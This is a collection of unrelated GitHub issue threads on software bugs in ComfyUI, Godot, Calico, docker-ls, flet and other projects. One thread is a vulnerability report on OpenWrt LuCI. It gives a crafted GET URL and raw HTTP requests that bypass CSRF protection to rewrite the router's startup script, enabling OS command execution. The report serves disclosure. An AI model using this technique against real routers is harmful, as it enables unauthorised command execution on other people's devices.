2024-09-11 18:34:33,590 - root - ERROR - !!! Exception during processing !!! PytorchStreamReader failed reading zip archive: failed finding central directory
2024-09-11 18:34:33,590 - root - ERROR - Traceback (most recent call last):
File "H:\ComfyUI-aki-v1.2\execution.py", line 323, in execute
output_data, output_ui, has_subgraph = get_output_data(obj, input_data_all, execution_block_cb=execution_block_cb, pre_execute_cb=pre_execute_cb)
File "H:\ComfyUI-aki-v1.2\execution.py", line 198, in get_output_data
return_values = _map_node_over_list(obj, input_data_all, obj.FUNCTION, allow_interrupt=True, execution_block_cb=execution_block_cb, pre_execute_cb=pre_execute_cb)
File "H:\ComfyUI-aki-v1.2\execution.py", line 169, in map_node_over_list
process_inputs(input_dict, i)
File "H:\ComfyUI-aki-v1.2\execution.py", line 158, in process_inputs
results.append(getattr(obj, func)(**inputs))
File "H:\ComfyUI-aki-v1.2\custom_nodes\comfyui_controlnet_aux\node_wrappers\zoe.py", line 17, in execute
model = ZoeDetector.from_pretrained().to(model_management.get_torch_device())
File "H:\ComfyUI-aki-v1.2\custom_nodes\comfyui_controlnet_aux\src\custom_controlnet_aux\zoe_init.py", line 26, in from_pretrained
model.load_state_dict(torch.load(model_path, map_location=torch.device('cpu'))['model'])
File "H:\ComfyUI-aki-v1.2\python\lib\site-packages\torch\serialization.py", line 993, in load
with _open_zipfile_reader(opened_file) as opened_zipfile:
File "H:\ComfyUI-aki-v1.2\python\lib\site-packages\torch\serialization.py", line 447, in init
super().init(torch._C.PyTorchFileReader(name_or_buffer))
RuntimeError: PytorchStreamReader failed reading zip archive: failed finding central directory
2024-09-11 18:34:33,591 - root - INFO - Prompt executed in 4.85 seconds

解决了吗？

出现同样的情况

没有解决
在 2024-09-21 01:21:22，"wind2333-hub" @.***> 写道：
解决了吗？
—
Reply to this email directly, view it on GitHub, or unsubscribe.
You are receiving this because you authored the thread.Message ID: @.***>

网络问题，换稳定节点


Dulwich fails when there's no GCC

Basically, this issue is back again in DVC: https://github.com/iterative/dvc/issues/2010

Looks like dulwich broke wheel build again 🙁 https://github.com/jelmer/dulwich/issues/968 Thanks @dtrifiro for a quick fix.
Looks like we need to set an upper bound on dulwich in scmrepo for now and think about how we can help dulwich releases not break so often.

Fix has been merged https://github.com/jelmer/dulwich/pull/969

For the record:
let's put an upper bound on dulwich and make sure when we test scmrepo we install using --bin-only(or whatever that pip flag is called) to make sure that all wheels are available. That will also help us catch such problems during dependabot's PRs for bumbing dulwich version.

I am against putting any upper bound. This is a packaging issue, and these mistakes/bugs happen, which will automatically get fixed with time.
Pinning the dependencies will make it painful for users if other packages also depend in dulwich.
It is also going to be painful for us, since DVC pins scmrepo, so to bump version, we need to also make a release in DVC.


Opened scenes are still remembered after project deletion

Godot version: v3.2.rc3
OS/device including version: macOS 10.15.2
Issue description:
When "Restore Scenes On Load" is on, reopening a project will try to open the previously opened scene.
After deleted a project, I created a new project using the same path as the deleted one. When Godot opens the new project, it still tries to restore the scene tab as if it's the old project. So I get this alert:

Can't open 'TestScene.tscn'. The file could have been moved or deleted.

I think maybe Godot should forget the opened scenes once I click "Remove Missing" in the project manager. Or, at least when a new project at the same path is created.
Steps to reproduce:

Create a new project
Create a new scene, and save it as "TestScene.tscn"
Turn on Interface / Scene Tabs / Restore Scenes On Load in editor settings
Keep the TestScene open, and quit Godot
Delete the project directory manually
Open Godot, the deleted project will be labeled as "Missing Project"
Remove the missing project
Create a new project at the same path as the previous one
Open the newly created project, and you'll get the alert.

Minimal reproduction project: N/A

Still valid in 3.2.4 beta4

Additionally, when the restore on load option is disabled in the settings, scenes are still restored irrespective of its value with what seems to be the scene setup that was saved before the setting was toggled. This state cache should be reset when the setting is changed.
3.3.rc6

This is resolved in 4.0

Is this resolved in 3.x?

No, and the fix can't be backported.


Remove deprecated functions in EverCrypt

The deprecation warnings have been around long enough.

Discussion with @R1kM -- we'll remove the deprecated functions, and rename the "new" functions into the "correct" namese, e.g. update disappears and update2 becomes update


Bug: On server side history change is not propagated to store

On server side, accessing any route does not change redux state.
Setup on server side:
const memoryHistory = createMemoryHistory();
const store = createStore(memoryHistory);
const history = syncHistoryWithStore(memoryHistory,store);
const routes = getRoutes(store);

After react-router match store.geState() returned this:
{ routing:
   { locationBeforeTransitions:
      { pathname: '/',
        search: '',
        hash: '',
        state: null,
        action: 'POP',
        key: '8j5ti7' } } }

On client side, after syncing history with store, redirect to / is triggered.
Issue can be simulated on this repo svrcekmichal\universal-react
Server side setup is here

syncHistoryWithStore is listening for updates on history.listen. After little test and mounting listen callback I found out that they are not fired in match of react-router when memoryHistory is used
When i have used memoryHistory on client, everything is propagated to the store, so issue probably will be with react-router match not triggering listen
Temporary fix on my side was adding this to react-router match callback
if(renderProps){
  store.dispatch({type:LOCATION_CHANGE,payload:renderProps.location});
}

OK, I'm getting a handle on this finally. I've got a SSR example (that will go up in the next version!) and I'm seeing what both you and @romseguy.
The redirect happens because we're detecting the initial load as a replay and it's attempting to go back to the initial location. That's a bit of red herring, as the actual issue is that they location state generated by match isn't consistent with memory history's default location.
That default location is '/'. So, to fix this, you simply have to set up the history with the current request path. And that's actually really easy:
const memoryHistory = createMemoryHistory(req.path) // Or whatever request path variable koa or others user

That's it! :smile:

Is there any way for us or for match to warn when this happens? Is there any legit scenario when you want them to be out of sync?

Nope, it's a router/history bug. We shouldn't have a default and should throw when an initial location isn't provided. Working on a fix now.

This smells off to me. Why are you syncing history to store when rendering on the server?

@timdorr thanks, now it works expected


Refactor multi-arch build options

Instead of specifying the build platform directly, use the special value local to specify the local environment rather than hard-coding amd64.
This will possibly help with https://citizensadvice.atlassian.net/browse/CP-249
I will test this once merged before updating the tagged version.

This does not seem to help with CP-249 but it does work


Anti CSRF bypass leads to OS command execution

Example:

Login to LuCI in a browser tab 1
In a new tab / window open the URL http://<IP_ADDRESS>/cgi-bin/luci/admin/system/startup?cbi.submit=0&cbid.rc.1.rcs=%23%20this%20request%20changes%20/etc/rc.local%20%0a%20exit%200 (<IP_ADDRESS> is your router's ip, change if needed)
In the first tab, go to System > Startup > Local Startup:

Result The startup script has changed.
The normal way to change the startup script looks like this. The request contains an anti-CSRF token:
POST /cgi-bin/luci/admin/system/startup HTTP/1.1
Host: <IP_ADDRESS>
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://<IP_ADDRESS>/cgi-bin/luci/admin/system/startup
Content-Type: multipart/form-data; boundary=---------------------------136481292911734
Content-Length: 425
Cookie: sysauth=ec478f7225b6b057cc503d7c8a55c7ed
Connection: close
Upgrade-Insecure-Requests: 1

-----------------------------136481292911734
Content-Disposition: form-data; name="token"

27208f37ed840dd047c1178f723162bf
-----------------------------136481292911734
Content-Disposition: form-data; name="cbi.submit"

1
-----------------------------136481292911734
Content-Disposition: form-data; name="cbid.rc.1.rcs"

# changing the startup script
exit 0
-----------------------------136481292911734--

By changing the POST to a GET, and setting cbi.submit to 0, the CSRF protection is bypassed and it's possible for an attacker to perform a CSRF attack against a logged in admin. This example leads to command execution on the OS running LuCi. In a real attack scenario the request could come from a third party, attacker-controlled, website.
require_post_security()
https://github.com/openwrt/luci/blob/master/modules/luci-base/luasrc/dispatcher.lua#L432
test_post_security()
https://github.com/openwrt/luci/blob/master/modules/luci-base/luasrc/dispatcher.lua#L155
These functions only check POST requests but the request can be change to something that is not POST.

I updated luci through opkg.
GET /cgi-bin/luci/admin/system/startup?token=&cbi.submit=&cbid.rc.1.rcs=%23+enter+your+code+here%0d%0aexit+0 HTTP/1.1
Host: <IP_ADDRESS>
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: sv-SE,sv;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://<IP_ADDRESS>/cgi-bin/luci/admin/system/startup
Cookie: sysauth=49ac3910f779b5869ba8a64a4a1eeef3
Connection: close
Upgrade-Insecure-Requests: 1

HTTP/1.1 200 OK
Connection: close
X-CBI-State: 1
Content-Type: text/html
Cache-Control: no-cache
Expires: 0
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
Content-Length: 33907

OpenWrt - Startup - LuCI
[...]

It seems to work. Closing.


Consider reverting breaking change about test configuration

Expected Behavior
As discussed with @ljacomet, the change to test framework configuration documented here is a major breaking change. It should probably have been a warning instead.
Current Behavior
Upgrading a passing build to Gradle 7.3 breaks. See https://github.com/micronaut-projects/micronaut-gradle-plugin/issues/296
Any build generated by Micronaut in the past which doesn't configure a test framework explicitly is going to fail when upgrading to Gradle 7.3. Basically it means most of the builds generated, via launch.micronaut.io or the CLI tool, since if you say nothing Micronaut will use JUnit Platform..
Context
The problem is that builds which used to pass, even if we understand that they were probably not configured as expected, now break. We have multiple users all reporting the same issue. In addition, it's actually pretty hard to figure out why this is happening. In other words, it would be nice if Gradle captured where the options block is configured, so that instead of failing:

it produces a warning that the previous configuration will be discarded
it tells what configured the old options, so that we can trace back to what code was triggered too early

Later, possibly in 8.0, make this an error.
Steps to Reproduce
See https://github.com/micronaut-projects/micronaut-gradle-plugin/issues/296 for a reproducer and workaround.

After some internal discussion, we're going to be restoring the previous behavior here in a forthcoming 7.3.1 release.
As noted, this behavior is misleading, since test options which are configured prior to setting a testing framework will be discarded.  We will add a warning when this occurs, and will re-remove this behavior in the next major release so that this situation once again fails fast rather than giving a false impression that options have been configured.
We're sorry for any inconvenience this may have caused, we didn't realize this would affect so many projects.

Closing as this has been merged


Run three-d in GTK-GL

In GTK, there is a GLArea widget (https://docs.gtk.org/gtk4/class.GLArea.html). Is it possible to integrate three-d in there? I see it's possible within egui, but I don't know if that crosses over. Thanks for anything!

It should definitely be possible, it's exactly the same thing as eframe (egui) or the default winit window setup. All you need is an OpenGL context to use three-d and GLArea provides that in the form of GLContext. So now comes the tricky part, to construct a three-d context you'll need a glow context which is just a wrapper around different types of OpenGL like contexts. This glow context can be created from a loader function which provides the address to the OpenGL functionality. This function is provided by winit or eframe windows, however, it's not provided by GTK it seems. I found this discussion which is very much related and suggests to use the epoxy crate (see this example). I also found this which is exactly the functionality we need, but I'm not sure that is in Rust. Anyway, I don't know what is the right solution, but I suggest you open an issue in the GTK crate and ask how to create a glow context from GLArea.
Also, this is a duplicate of #27

@Siliwolf Did you make it work? 🙂

No, I didn't mean to mark as completed. I just came to the issues page for an unrelated reason, saw my duplicate was still up, and decided to close it.

Hello! I've gotten the triangle example to work in a GLArea, more or less, after looking at the things you linked. I can't make it work using RenderTarget, but that's probably my bad usage of three-d.
In main for epoxy setup I have:
epoxy::load_with(|s| unsafe {
    DynamicLibrary::open(None).unwrap().symbol(s).unwrap_or(ptr::null_mut())
});

This is a paraphrase of what's in the glium example. I assume that open(None), which doesn't load any library itself, works because GTK has already loaded epoxy.
After that, I've subclassed GLArea and overridden render (though it would equally work without subclassing, by connecting to the "render" signal):
fn render(&self, _: &gdk::GLContext) -> bool {
    let ctx = unsafe {
        context::Context::from_loader_function(|s| epoxy::get_proc_addr(s))
    };
    let ctx = Arc::new(ctx);
    let ctx = core::Context::from_gl_context(ctx).unwrap();

    let alloc = self.obj().allocation();
    let (width, height) = (alloc.width() as u32, alloc.height() as u32);

    let mut camera = Camera::new_perspective(
        Viewport::new_at_origo(width, height),
        vec3(0.0, 0.0, 2.0),
        vec3(0.0, 0.0, 0.0),
        vec3(0.0, 1.0, 0.0),
        degrees(45.0),
        0.1,
        10.0,
    );
    let positions = vec![
        vec3(0.5, -0.5, 0.0),
        vec3(-0.5, -0.5, 0.0),
        vec3(0.0, 0.5, 0.0)
    ];
    let colors = vec![
        Color::RED,
        Color::GREEN,
        Color::BLUE
    ];
    let cpu_mesh = CpuMesh {
        positions: Positions::F32(positions),
        colors: Some(colors),
        ..Default::default()
    };
    let mut model = Gm::new(Mesh::new(&ctx, &cpu_mesh), ColorMaterial::default());

    unsafe {
        ctx.clear_color(0.8, 0.8, 0.8, 1.);
        ctx.clear(context::COLOR_BUFFER_BIT);
    }

    model.render(&camera, &[]);

    // RenderTarget::screen(&ctx, width, height)
    //     .clear(ClearState::color_and_depth(0.8, 0.8, 0.8, 1., 1.))
    //     .render(&camera, &model, &[]);

    true
}

This isn't meant to be good (I don't need to be re-making the model every time), it's just meant to work, which it does. I would like to avoid using gl and stick just to three-d, but the commented-out RenderTarget doesn't render anything.
Is there something more I should have to make that work?

Super nice work 💪 that would be great to have as an example 🥳
About the render target, GTK probably uses a custom render target instead of the default one, and since it's created in GTK, three-d doesn't know about it. If you can somehow get the FrameBuffer ID from GTK, you can use this function to create the render target instead of the screen function.

Thanks! Sadly GDK's GLContext docs say "A GdkGLContext is not tied to any particular normal framebuffer". Probably there is some way but the GDK & GTK docs don't make it obvious. Besides manually calling glGetIntegerv to get the ID, which seems like a worse solution than just using the core context's unsafe functions 😆
If it doesn't bother you that this is slightly hacky, I can turn it into a clean(er) example and make a pull for it.

Hmm. Yeah, it seems like GTK doesn't expose that information 😬 The problem is not that it uses the core unsafe functions for clearing the render target, the problem is that it's not possible to use a render target, which for example means deferred rendering will not work. If we used a render target, then there's no way to know which frame buffer to switch back to when we want to draw to the screen. We could maybe use the attach_buffers method but it requires that we call it at the right time, which isn't obvious how to do. I actually think getting the frame buffer index manually using glGetIntegerv is the better solution 🙂

If it doesn't bother you that this is slightly hacky, I can turn it into a clean(er) example and make a pull for it.

That would be great 👍 As I see it, the only thing that needs to be fixed is the render target issue ☝ and maybe figuring out how to create models outside of the render loop.

I'm opening this issue in favour of #27

I have something working with a RenderTarget and with the model initialised outside the render loop. I've used glGetIntegerv once before rendering starts to get the draw fb, which seems to work fine. It relies on GTK not randomly deciding to use a different fb, and although I've never seen that happen on my setup, I don't know enough about GTK/GDK/GSK rendering to say it can't 😢
https://github.com/UnsuccessfulLaminator/triangle-gtk4
Runs on my linux machine, but fails to load epoxy functions on my windows one. I'm not sure why yet. Something to do with it deciding not to be able to find dll funcs from the main process I think... but odd given that gtk4 itself runs happily 🤷

Sorry for the late reply.

I've used glGetIntegerv once before rendering starts to get the draw fb, which seems to work fine.

Great, then I think that's a good solution.

It relies on GTK not randomly deciding to use a different fb, and although I've never seen that happen on my setup, I don't know enough about GTK/GDK/GSK rendering to say it can't 😢

True, so maybe it's better to call glGetIntegerv each frame to make sure it's the correct frame buffer? I don't think it matters for performance 🤞

https://github.com/UnsuccessfulLaminator/triangle-gtk4
Runs on my linux machine, but fails to load epoxy functions on my windows one. I'm not sure why yet. Something to do with it deciding not to be able to find dll funcs from the main process I think... but odd given that gtk4 itself runs happily 🤷

I'm sorry, I can't help with that, but I think it's ok to add the example even though it's confirmed to work on all platforms. Having an example is much better than not having anything 🙂


add new meteor commands

remove 'add' since there're more than 3000 packages, we cannot display them

Won't merge: the completion is optional, some people will want it and some won't. For those that don't, they just need to not press tab after meteor add.


No license

Hi,
I see no other way of contacting you guys then by submitting an issue. I am using https://github.com/haxeui/haxeui-html5/blob/master/haxe/ui/backend/html5/util/FontDetect.hx for quite a while to detect if fonts are loaded. But now I saw this piece of code or the package in which it is included has no license. Could you add a license please? I saw the haxeui-core package had the MIT license.
Kind regards,
Jelle Bakker

FontDetect is basically a port of a js lib, which has an MIT licence. Im not hugely knowledgeable about licences, so not sure where would be a good place to put that info? Also, its a port rather than the original library, so does that change anything?  Would a "FontDetect_LICENCE.txt" with a copy of the text in the js lib version suffice?
Cheers,
Ian


Change wordQueue from an array to an object

For this amount of data its not that important to save on property names, and it just makes the code more confusing

can you please try to explain the problem more simply for someone who didn't work on the codebase to understand cause I've spent the past 45 minutes looking for any variable named "wordQueue"

@JoshLamptey Absolutely!  Sorry for my bad explanation of the problem before.  Basically, content_scripts/analyze.js takes has a tally of words that meet our requirements for good words to translate.  When the a page is closed it tries to save wordsToSave(default 5) number of words to the browser.storage.local.get('wordQueue').  The wordQueue is an array of up to 100 elements.  Each element is an array itself with 3 elements, index 0 is the word itself, index 1 is the number of times the word has occurred in webpages we analyzed, and index 2 is the epoch time it last occurred.  The wordQueue is automatically popped from and translated in background_scripts/dictionary-handler.js.  So, basically since every element in wordQueue is always a length 3 array, might as well just make each element an object instead and then they can have more clear names.

Okay I'm at work when I get home I'll get on this. Thank you


Add operator actions and split weapons out

Closes #23 and #22
Now moves ranks, weapons and operator actions to Objects and Errors, Interface, Cards.Descriptions and Cards.Titles to Apps

removed operator actions due to the ever-dawning idea that ubisoft is sunsetting them for public use...


Packmol fails when overlap is too small

I'm trying to build a system of lipids at a target density, which leads to a lot of overlap and packmol can't fit the molecules in the box. When I set the overlap value really small, packmol segfaults. The log.txt file that is produced shows Distance tolerance:    0.0000000000000000, which I assume is the source of the error. This is written by mBuild here.
Is there a reason we're only printing 1 decimal place? I realize it may be a bit whacky to initialize a system with a ton of overlap, but it's a good way to initialize condensed phases of molecules with a large aspect ratio when used in conjunction with an integrator with a displacement limit (see HOOMD's NVE integrator).

Oops, thought I was on mBuild's issue page.


Kubelet can't reach kube-apiserver via service IP

Cluster Description
I've a three nodes Kubernetes cluster deployed via Kubespray utility. All control plane components deployed in the node network via hostNetwork: true parameter. Here are some information about the cluster networking

Nodes CIDR: <IP_ADDRESS>/21
Service CIDR: <IP_ADDRESS>/18
Pod CIDR: <IP_ADDRESS>/18
Calico backend: VXLAN

Issue Description
When I run any pod, Calico assign IP address to the pod and Kubelet tries to reach kube-apiserver via its service IP but it times out keeping the pod in ContainerCreating state. I used tcpdump to check the packets between Kubelet and kube-apiserver and I found that all packets are SNATed to the service IP as shown below
12:52:27.781606 IP <IP_ADDRESS>.45208 > <IP_ADDRESS>.6443: Flags [S], seq<PHONE_NUMBER>, win 65495, options [mss 65495,sackOK,TS val<PHONE_NUMBER> ecr 0,nop,wscale 7], length 0
E..<..@.?...

Expected Behavioro

Destination IP is DNATed to the IP of the service endpoint and the source IP is kept as the node IP.
Current Behavior

Destination IP is DNATed to the IP of the service endpoint and the source IP is SNATed to the Service IP
Possible Solution

Steps to Reproduce (for bugs)

Get into one of the master nodes
Initiate telnet request to <IP_ADDRESS> 443

Context

Your Environment

Calico version: v3.22.2
Orchestrator version (e.g. kubernetes, mesos, rkt): v1.23.6
Operating System and version: Ubuntu 18.04.6 LTS
Link to your project (optional): N/A

Calico version: v3.22.2

This is a very old version of Calico that is no longerin support. I recommend upgrading to a modern version.

12:52:27.781606 IP <IP_ADDRESS>.45208 > <IP_ADDRESS>.6443: Flags [S], seq<PHONE_NUMBER>, win 65495, options [mss 65495,sackOK,TS val<PHONE_NUMBER> ecr 0,nop,wscale 7], length 0

Could you provide a bit more of the tcpdump output as well as some more information about what each IP address belongs to? e.g., what is <IP_ADDRESS>?

Thank you @caseydavenport  for your reply.
Let me further explain this. We have here three master nodes running kube-apiserver with the following IPs:
NAME    STATUS   ROLES                  AGE     VERSION   INTERNAL-IP   EXTERNAL-IP   OS-IMAGE             KERNEL-VERSION       CONTAINER-RUNTIME
node1   Ready    control-plane,master   2y67d   v1.23.6   <IP_ADDRESS>    <none>        Ubuntu 18.04.6 LTS   4.15.0-213-generic   containerd://1.6.4
node2   Ready    control-plane,master   2y67d   v1.23.6   <IP_ADDRESS>    <none>        Ubuntu 18.04.6 LTS   4.15.0-213-generic   containerd://1.6.4
node3   Ready    control-plane,master   2y67d   v1.23.6   <IP_ADDRESS>    <none>        Ubuntu 18.04.6 LTS   4.15.0-213-generic   containerd://1.6.4

and here are all information related to the kube-apiserver service:
NAME         TYPE        CLUSTER-IP   EXTERNAL-IP   PORT(S)   AGE
kubernetes   ClusterIP   <IP_ADDRESS>   <none>        443/TCP   2y67d

NAME         ENDPOINTS                                         AGE
kubernetes   <IP_ADDRESS>:6443,<IP_ADDRESS>:6443,<IP_ADDRESS>:6443   2y67d

The issue only occurs when I try to reach the kube-apiserver via its service IP from one of the nodes.
When I try to initiate a telnet <IP_ADDRESS> 443 from node1, I get success response every three tries (the first two tries will timeout and the third will get connected). The succeeded request is what's routed to node1.
Actually, I don't know what's the more info that I can get from tcpdump. The only meaningful information I can get is src IP/Port and dst IP/Port. Anyway, here are more packet captures:
06:16:50.972450 IP <IP_ADDRESS>.35700 > <IP_ADDRESS>.6443: Flags [S], seq<PHONE_NUMBER>, win 65495,
options [mss 65495,sackOK,TS val<PHONE_NUMBER> ecr 0,nop,wscale 7], length 0
E..<..@.?.9.
...
.7E.t.+.v`.........L].........
>.xf........
06:16:51.432410 IP <IP_ADDRESS>.49798 > <IP_ADDRESS>.6443: Flags [S], seq<PHONE_NUMBER>, win 65495,
options [mss 65495,sackOK,TS val<PHONE_NUMBER> ecr 0,nop,wscale 7], length 0
E..<..@.?...
...
.7D...+;.hS.........2.........
[.m.........
06:16:51.976770 IP <IP_ADDRESS>.35700 > <IP_ADDRESS>.6443: Flags [S], seq<PHONE_NUMBER>, win 65495,
options [mss 65495,sackOK,TS val<PHONE_NUMBER> ecr 0,nop,wscale 7], length 0
E..<..@.?.9.
...
.7E.t.+.v`.........L].........
>.|R........
06:16:53.311681 IP <IP_ADDRESS>.27432 > <IP_ADDRESS>.6443: Flags [P.], seq 218:264, ack 37214, wi
n 1513, options [nop,nop,TS val<PHONE_NUMBER> ecr<PHONE_NUMBER>], length 46
E..bR.@.?.f}
.7D
.7Ek(.+.>.?;V.............
..f...Ip....).............r..p|..F...L.......i,..Y....
06:16:53.311965 IP <IP_ADDRESS>.6443 > <IP_ADDRESS>.27432: Flags [.], ack 264, win 501, options [nop,nop,TS val<PHONE_NUMBER> ecr<PHONE_NUMBER>], length 0
E..4<EMAIL_ADDRESS>.7E
.7D.+k(;V...>.m.....k.....
..Y...f.
06:16:53.314658 IP <IP_ADDRESS>.6443 > <IP_ADDRESS>.27432: Flags [P.], seq 37214:37310, ack 264, win 501, options [nop,nop,TS val<PHONE_NUMBER> ecr<PHONE_NUMBER>], length 96
E<EMAIL_ADDRESS>.7E
.7D.+k(;V...>.m...........
..Y...f.....[.....!...A...y.J..........R.H.....o.........B............I{.....2./..q.;M...u...F..L......3
06:16:53.314680 IP <IP_ADDRESS>.6443 > <IP_ADDRESS>.27432: Flags [P.], seq 37310:37674, ack 264, win 501, options [nop,nop,TS val<PHONE_NUMBER> ecr<PHONE_NUMBER>], length 364
E<EMAIL_ADDRESS>.7E
.7D.+k(;V...>.m...........
..Y...f.....g.....!....`^....-<EMAIL_ADDRESS>   D.u.6...&PK...{....}.].q.....?2".......tg.1..[....5...!?.(..*L...L..N..0Z.PM.=....@..%.n..Y..F..`O.",.).O(...).l.~...h.Ho%...&.+M.o.Zp?..S.........H..z.....L..]...v....a..j.......~.j.....$.

I get success response every three tries (the first two tries will timeout and the third will get connected).

It's feels related that there are three hosts running the apiserver, and you get a response every three tries. Sounds like round-robin load balancing and only the requests forwarded to the local API server are succeeding.
Are you by chance using the kube-proxy in IPVS mode?
To figure out where the NAT might be occurring, I'd look at the output of iptables-save -c on node1 while sending traffic and check for incrementing counters on rules with SNAT or MASQUERADE actions. Note that if you're using IPVS kube-proxy, this will be less effective since the load balancing will be performed in IPVS instead.

@caseydavenport Yes I'm using Kube-proxy in IPVS mode.
$ ipvsadm -ln
IP Virtual Server version 1.2.1 (size=4096)
Prot LocalAddress:Port Scheduler Flags
  -> RemoteAddress:Port           Forward Weight ActiveConn InActConn
TCP  <IP_ADDRESS>:443 rr
  -> <IP_ADDRESS>:6443              Masq    1      1          0
  -> <IP_ADDRESS>:6443              Masq    1      6          0
  -> <IP_ADDRESS>:6443              Masq    1      1          0

I'm afraid I'm not much of an expert on the IPVS kube-proxy, but it looks like the NAT you're seeing is happening in IPVS based on the Masq denotation in the output you provided. Perhaps there's an IPVS proxy configuration option to turn off that masquerade?
That said, I am not sure if the MASQ is necessarily a problem - could just be a cross-node connectivity issue (e.g., security group configuration) blocking one node from talking to the others.
Generally I advise against using IPVS unless it's absolutely necessary - it doesn't have a lot of support upstream in k8s these days.

Issue resolved after restarting the nodes.


Doesn't seem to work with aws ecr registries

Get this with ecr registries, and yet skopio can access the registry fine based on credentials in ~/.docker/config.json:
$ docker-ls repositories  --registry https://111111111111.dkr.ecr.us-east-1.amazonaws.com
requesting list . done
malformed challenge header: 'Basic realm="https://111111111111.dkr.ecr.us-east-1.amazonaws.com/",service="ecr.amazonaws.com"' Are you shure that you are using the correct (token) auth scheme?

$ docker-ls tags  --registry https://111111111111.dkr.ecr.us-east-1.amazonaws.com myrepo/images
requesting list . done
malformed challenge header: 'Basic realm="https://111111111111.dkr.ecr.us-east-1.amazonaws.com/",service="ecr.amazonaws.com"' Are you shure that you are using the correct (token) auth scheme?

$ skopeo inspect docker://111111111111.dkr.ecr.us-east-1.amazonaws.com/myrepo/image
{
    "Name": "111111111111.dkr.ecr.us-east-1.amazonaws.com/myrepo/image",
    "Digest": "sha256:5340a616e7de2e75f3a18f1bac69abc9605c5ad2e795ed3f06c61de3d12667e6",

We can also do this (from aws docs):
$ TOKEN=$(aws ecr get-authorization-token --registry-ids<PHONE_NUMBER>11 --profile foo --region us-east-1 --output text --query authorizationData[].authorizationToken)
$ curl -ns -H "Authorization: Basic $TOKEN" https://111111111111.dkr.ecr.us-east-1.amazonaws.com/v2/_catalog|jq '.'
{
  "repositories": [
    "myrepo/image"

Any thoughts, suggestions? Is docker-ls still being actively developed, or should we use something else?

Thanks for your feedback. The project is still maintained; I'll have a look at your issue.

Sorry for the delay. It seems that the ECR registry is using basic auth instead of the default token based authentication. However, the documentation you quote suggests that the token is used as basic auth in verbatim, without base64 encoding.
Are you still interested in troubleshooting this issue? If yes, I'll add an experimental option as a possible fix for you to test.

@DirtyHairy I'm having the same behaviour as @spicysomtam .
I'm available to test, if you have the time to create a test branch.

agreed that the token based approach doesn't (yet) work ... but for the record, it works using basic authentication like so:
$ aws ecr get-login --profile private --region eu-west-1
docker login -u AWS -p PASSWORD -e none https://661571386954.dkr.ecr.eu-west-1.amazonaws.com

... take both password and the url from there (actually being a token with a expiration time of about a day currently), then run docker-ls like this:
$ docker-ls repositories -r https://661571386954.dkr.ecr.eu-west-1.amazonaws.com --user AWS --password PASSWORD --basic-auth
requesting list . done
repositories:
- testling

With #7 being fixed, docker-ls now allows to use docker's credential-helpers, especially docker-credential-ecr-login.
So given a .docker/config like
{
	"auths": {
		"661571386954.dkr.ecr.eu-west-1.amazonaws.com": {},
		"https://index.docker.io/v1/": {}
	},
	"credsStore": "pass",
	"credHelpers": {
		"661571386954.dkr.ecr.eu-west-1.amazonaws.com": "ecr-login"
	}
}

it's now possible to call docker-ls like this (mind the --basic-auth flag):
$ docker-ls repositories -r https://661571386954.dkr.ecr.eu-west-1.amazonaws.com --basic-auth
requesting list . done
repositories:
- testling

... which silently invokes the credential helper to get the ecr token itself.


The difference between result of test and gt

This is my result of test.py:
kld = 1.521207194771439
sim = 0.34196439919030536
nss = 0.9306758723494548
but when I try to visualize the affordance region in test.py,it has a big difference contrast to the ground truth region.
result:

ground truth:

result:

ground truth:

The task is a weakly supervised setting and does not have accurate pixel-level labelling as supervision, thus some examples show relative location that is not accurate enough.


Problem with rebuilding linux binary

Description
With the release of flet 0.18 the build linux command appears to have an issue. The issue arises when trying to recompile a modified script. No change to the script is reflected in the compiled executable.
Steps to reproduce:

Create a new project with flet create first_try
Compile the project with flet build linux
Execute the binary and see the Hello, Flet! text in the application.
Modify the main.py script from say: Hello, Flet! to Hello World!.
Recompile the project with flet build linux
Execute the binary and now you still see Hello, Flet! instead of Hello World!.

The built targets I tried are linux and apk. The issue does not arise for the apk target.
Even a change in the build output directory (-o) does not influence the behavior and the result of the recompiled binary is still Hello, Flet!.
Code example to reproduce the issue:
First version of the script:
import flet as ft

def main(page: ft.Page):
    page.add(ft.SafeArea(ft.Text("Hello, Flet!")))

ft.app(main)

Edited version of the script:
import flet as ft

def main(page: ft.Page):
    page.add(ft.SafeArea(ft.Text("Hello World!")))

ft.app(main)

Flet version (pip show flet):
0.18.0

Operating system:
Linux

When the app is starting it unpacks contents of app.zip (with Python code) to {temp}/{app-name}-{version}-{build} directory. Next time the app is run it does not re-create/change that directory contents if it exists. The solution is to change version (--build-version) or build number (--build-number) if you want to see a refreshed app package.
This is not an idea solution, of course. The way it could be improved, I think, would be adding some "timestamp" (asset) along with app.zip asset and then placing that timestamp inside extracted directory. Timestamp will be changed every time you re-build the app.

Can second this. Also had this issue and solved it by changing the build number on Debian 11.

@FeodorFitsner may I recommend using the hash of the program files as an identifier. It completely changes with even a slight change to the source code.

I tested the suggested workaround and unfortunately and in contrary to @acidicly, setting a --build-version or a --build-number did not change the behavior described issue above. I am on a uname -a: Linux caddy 5.15.0-91-generic #101-Ubuntu SMP Tue Nov 14 13:30:08 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux
The only parameter I can set, that changes the outcome of the built is the --project parameter.


[shortcut] n button on view - linear interpolation

On some views, if you click on "n" it enables/disables the linear interpolation of pixels. You need to zoom a lot to see the differences.
Could be put as parameter in a context menu triggered by right click on the view. Beware of some toolboxes which are using right clicks : paint, polygon roi, etc.

@mjuhoor by the way, the PR we were talking last time

Since https://github.com/medInria/medInria-public 3.1.1 (at least), an interpolation button is displayed in the Layer Settings, closing


Pinch-to-zoom is unresponsive and jumps between zoom levels

Hi, I'm using excalidraw on excalidraw.com, on Chrome 96 from macOS 10.15.7 and I'm using a magic trackpad. When I try to pinch-to-zoom it's very unresponsive, sometimes it doesn't get the pinch gesture, sometimes it jumps uncontrollably from zoom levels and I'm having difficulties to control the zoom with the pinch.
